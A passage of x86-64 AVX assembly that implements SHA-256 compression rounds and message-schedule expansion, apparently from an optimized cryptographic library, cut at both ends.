vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (112)(%rbp), %xmm3, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpaddd %xmm7, %xmm3, %xmm3
vpaddd %xmm4, %xmm3, %xmm3
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (128)(%rbp), %xmm0, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpaddd %xmm7, %xmm0, %xmm0
vpaddd %xmm4, %xmm0, %xmm0
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (144)(%rbp), %xmm1, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpaddd %xmm7, %xmm1, %xmm1
vpaddd %xmm4, %xmm1, %xmm1
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (160)(%rbp), %xmm2, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpaddd %xmm7, %xmm2, %xmm2
vpaddd %xmm4, %xmm2, %xmm2
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (176)(%rbp), %xmm3, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpaddd %xmm7, %xmm3, %xmm3
vpaddd %xmm4, %xmm3, %xmm3
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (192)(%rbp), %xmm0, %xmm7
vmovdqa %xmm7, (%rsp)
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (208)(%rbp), %xmm1, %xmm7
vmovdqa %xmm7, (%rsp)
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (224)(%rbp), %xmm2, %xmm7
vmovdqa %xmm7, (%rsp)
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
